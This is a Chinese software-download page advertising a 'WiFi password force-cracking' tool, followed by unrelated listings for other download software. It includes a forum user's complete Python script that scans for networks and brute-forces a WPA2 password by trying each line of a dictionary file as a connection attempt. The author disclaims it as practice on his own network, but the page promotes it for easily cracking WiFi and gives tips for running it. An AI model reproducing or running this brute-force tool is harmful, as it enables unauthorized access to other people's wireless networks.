标签:
wifi密码强制破解软件是一款非常好用的wifi密码破解工具,它是由论坛网友制作分享的,通过这款软件可以帮助用户轻松破解wifi,目前这款软件还是测试版本,可能会有一些问题,后续会更新优化,有需要的朋友可以下载体验。
这两天在家无聊,想写点小工具玩玩,于是看了一下PySimpleGUI,写了一个暴力**wifi的软件
这是练习作品,不要指望它真能破解邻居的WIFI密码
密码字典是网上随便下载的,破解的WIFI也是我家的WIFI,再次重申,这只是练习作品!!!
import PySimpleGUI as sg
import pywifi
from pywifi import const
import time, os.path
# 设置全局默认设置
sg.set_options(font=("微软雅黑", 10))
# 定义UI布局
layout = [[sg.Text("2.选择破解的WIFI名称:")],
[sg.Combo(values=[], key="-WIFI NAME-", size=(40, None)), sg.Button("1.查找WIFI", key="-SCAN WIFI-")],
[sg.Text("3.选择密码字典文件:")],
[sg.InputText(key="-KEY LIST-"), sg.FileBrowse("选择文件", target="-KEY LIST-", key="-FILE CHOOSE-")],
[sg.Button("4.执行检查", key="-CHECK-"), sg.Button('5.开始破解', key="-START-", auto_size_button=False, disabled=True)],
[sg.Output(key="-OUTPUT-", size=(54, 20))]]
# 创建Window
window = sg.Window('Window Title', layout)
# 创建网卡
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()
iface = None
if len(ifaces) > 0:
iface = ifaces[0]
def scan_wifi():
"""扫描附近的WIFI"""
print("开始扫描WIFI,请稍候……")
iface.scan()
time.sleep(2)
results = []
for res in iface.scan_results():
if len(res.ssid) > 0 and res.ssid not in results:
results.append(res.ssid)
window["-WIFI NAME-"].update(values=results)
print("扫描完毕")
def check():
"""检查破解前的准备工作是否完备"""
if iface is None:
print("你的计算机没有网卡,请退出!")
window["-START-"].update(disabled=True)
return
else:
print("计算机网卡已选定:" + iface.name())
wifiname = values["-WIFI NAME-"]
if (wifiname is None) or (len(wifiname) == 0):
print("WIFI名称不能为空")
return
else:
print("WIFI名称:" + wifiname)
keylist = values["-KEY LIST-"]
if (keylist is None) or (len(keylist) == 0):
print("密码字典路径不能为空")
else:
if os.path.exists(keylist) and os.path.isfile(keylist):
print("密码字典路径:" + keylist)
window["-START-"].update(disabled=False)
else:
print("密码字典路径不正确")
def wifi_connect(interface, wifiname, password):
"""
尝试进行 WiFi 连接
:param interface: 网卡对象
:param wifiname: WiFi名称
:param password: WiFi密码
:return: True or False, 连接成功或者失败
"""
if interface.status() != const.IFACE_DISCONNECTED:
interface.disconnect() # 断开连接
time.sleep(0.5)
profile = pywifi.Profile() # 创建WiFi连接文件
profile.ssid = wifiname # WiFi的ssid,即wifi的名称
profile.key = password # WiFi密码
profile.auth = const.AUTH_ALG_OPEN # 开放网卡
profile.akm.append(const.AKM_TYPE_WPA2PSK) # WiFi的加密类型,现在一般的wifi都是wpa2psk
profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
interface.remove_all_network_profiles() # 清空profile列表
interface.add_network_profile(profile) # 添加profile
interface.connect(profile) # 连接WiFi
time.sleep(1)
if interface.status() == const.IFACE_CONNECTED:
return True
return False
def crack(wifiname, keylist):
"""
使用密码字典的方式暴力破解 WiFi 密码
:param wifiname: WiFi名称
:param keylist: 密码字典
:return: 破解出的密码
"""
with open(keylist, "r", encoding="utf-8") as f:
for key in f.readlines():
key = key.strip()
print("正在尝试密码:" + key)
isok = wifi_connect(iface, wifiname, key)
if isok:
print("连接成功!WiFi:" + wifiname + " 密码:" + key)
return key
else:
print("连接失败,密码错误")
# 事件处理循环
while True:
# 调用read()显示窗口,等待用户交互
event, values = window.read()
# 以下就是事件处理的逻辑
# 如果用户点击关闭窗口,就退出
if event == sg.WINDOW_CLOSED:
break
# 扫描WIFI
elif event == "-SCAN WIFI-":
scan_wifi()
# 执行检查
elif event == "-CHECK-":
check()
# 开始破解
elif event == "-START-":
print("开始破解")
crack(values["-WIFI NAME-"], values["-KEY LIST-"])
# 关闭Window
window.close()
1 下载完成后不要在压缩包内运行软件直接使用,先解压;
2 软件同时支持32位64位运行环境;
3 如果软件无法正常打开,请右键使用管理员模式运行;
厂商名称:
心蓝12306订票助手134KB1192人在玩心蓝12306订票助手是一款基于12306官网开发的一款抢票软件,临到重大节假日,抢票又开始上演。选择一款真正简单好用的抢票软件才是最关键的。心蓝12306订票助手能够自动识别验证码,自动查询,自动提交订单,支持学生票儿童票,支持改签,订票成功短信通知等功能。让你真正体验购票原来如此简单。
下载12306分流抢票软件3.8M2531人在玩12306分流抢票软件拥有余票查询、自动刷票、订票成功QQ-短信-声音提醒、软件完全免费,全程自动抢票,自动识别验证码,多线程秒单、稳定捡漏,支持多天、多车次、多席别、多乘客等功能!分流,不只是技术上的争斗.更多人性化给力功能等你来体验!
下载ADSafe净网大师9.5M7529人在玩ADSafe净网大师为您过滤不良信息,还你一个干净网络环境,逛网站安全可靠无骚扰,看视频还能直接跳过30秒、60秒视频广告。
下载甘肃移动校园宽带电脑版48.2M107人在玩甘肃移动校园宽带电脑版是一款上网工具,软件可以帮助用户电脑一键登录使用网络,功能强大,使用简单方便,需要的朋友欢迎前来下载使用。
下载威武猫微博助手11.1M13人在玩威武猫微博助手是一款非常棒的专业的微博营销类软件工具。为微博的用户提供一键删除所有微博/文章、采集今日头条文章,编写/生成文章、监控指定的微博,进行转发,让用户的微博热度轻松经营起来,成为微博大V,喜欢的用户赶快来下载体验吧!
下载网络神采11.2M17人在玩网络神采免费版是一款非常好用的网页数据采集工具,软件小巧便携,绿色无需安装,操作简单,能够帮助用户一键进行各类网站的数据采集工作。
下载小叮当场控助手电脑版39.3M257人在玩小叮当场控助手是一款为用户直播间而打造的辅助工具。能够帮助用户更好的把控直播的的全局节奏,拥有用户进房自动欢迎、自动感谢礼物、自动回复、秒踢喷子等基本功能,并且还可以进行人气提升这种强大的功能,提高用户的直播效率,有需要的用户欢迎来下载体验!
下载萤石工作室下载电脑版65.5M97人在玩萤石工作室电脑版,是为萤石摄像机制作的一款电脑桌面管理软件,通过这款软件你可以看到其他萤石摄像机用户拍摄上传的视频直播画面,并且还能在线购买萤石旗下的各种产品。
下载有专自媒体助手12.0M59人在玩有专自媒体助手是一款自媒体神器,能够帮助用户更好的管理自媒体账号。现在自媒体的快速发展,越来越多的人进入了自媒体的行业,一个人拥有好几个自媒体账号,但是账号多了就不便于管理,现在有了有专自媒体助手,帮你解决账号不好管的问题!
下载云南师范大学上网认证客户端13.2M1人在玩云南师范大学上网认证客户端是一款非常好用的网络连接工具,它的页面简洁,功能强大,能够帮助用户轻松将校园网进行网络认证连接,有需要的朋友不要错过了,欢迎大家下载体验。
下载